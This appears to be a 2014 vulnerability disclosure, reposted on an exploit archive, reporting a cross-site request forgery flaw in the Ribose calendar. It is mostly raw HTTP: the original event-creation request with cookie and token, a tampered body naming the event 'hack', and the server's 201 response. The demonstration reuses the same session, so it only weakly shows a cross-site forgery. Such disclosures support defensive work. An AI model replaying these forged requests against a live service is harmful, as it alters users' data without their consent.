Ribose Cross Site Request Forgery Vulnerability

Vulnerability: CSRF Attack on Ribose Online Social Collaboration Platform
Date: 13/08/2014
Author: JoeV
Vendor: www.ribose.com
Tested on: Windows 7
Description: A CSRF attack forces a logged-on victim’s browser to send a
forged HTTP request, including the victim’s session cookie and any other
automatically included authentication information. This allows the attacker
to force the victim’s browser to generate requests the vulnerable
application thinks are legitimate requests from the victim. It was observed
that the vulnerability allows an adversary to create/delete events by CSRF
vulnerability.

Original request:
-----------------------
POST https://www.ribose.com/calendar/calendar/12736/event?jr=
indigolocal_A2956C161 HTTP/1.1
Host: www.ribose.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-Token:
LQQDnklKSZYX95knj6g2RsjVSlXToLO/uO1NenGZJD8d9v8KhXrC2j6V6VNc1XRf2FmMi2FT8uohG+sCFBuCVQ==
X-CSRF-Param: authenticity_token
X-Requested-With: XMLHttpRequest
Referer: https://www.ribose.com/
Content-Length: 210
Cookie: _indigo_session=cc38aedab4a21e2cf8b54e816da668f6
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

event%5Bcalendar_id%5D=12736&event%5Bname%5D=Test&event%5Ball_day%5D=0&event%5Bdate_start%5D=13%2F08%2F2014&
amp;event%5Bdate_finish%5D=13%2F08%2F2014&event%5Btime_start%5D=10%3A00am&event%5Btime_finish%5D=11%3A00am

Tampered Request: (using the same cookie)
----------------------------------------------------------------
event%5Bcalendar_id%5D=12736&event%5Bname%5D=hack&event%5Ball_day%5D=0&event%5Bdate_start%5D=13%2F08%2F2014&
amp;event%5Bdate_finish%5D=13%2F08%2F2014&event%5Btime_start%5D=10%3A00am&event%5Btime_finish%5D=11%3A00am

Response:
---------------
HTTP/1.1 201 Created
Cache-Control: max-age=0, private, must-revalidate
Content-Language: en
Content-Type: application/json; charset=utf-8
Date: Wed, 13 Aug 2014 09:43:31 GMT
ETag: "79ed58ab8395540092afba3b8fc37639"
Server: Ribose
Status: 201 Created
Strict-Transport-Security: max-age=604800; includeSubdomains
X-Frame-Options: SAMEORIGIN
X-Powered-By: Ribose
X-Rack-Cache: invalidate, pass
X-Request-Id: c6a95f5b3453e806c8fe5aaebe6f99fd
X-Runtime: 0.324388
X-UA-Compatible: IE=Edge,chrome=1
X-XSS-Protection: 1; mode=block
Connection: keep-alive
Content-Length: 354

{"events":{"all_day":false,"calendar_id":12736,"created_by":3395,"descripti
on":"","id":60768,"my_note":null,"name":"hack","old_head_id&
quot;:null,"recurring_type":"not_repeat","where":"","utc_start":"
2014-08-13T10:00:00Z","utc_finish":"2014-08-13T11:00:00Z","utc_old_start":null,"
utc_old_finish":null,"can_save":true,"can_delete":true,"timestamp":1407923011}}

#  0day.today [2018-04-01]  #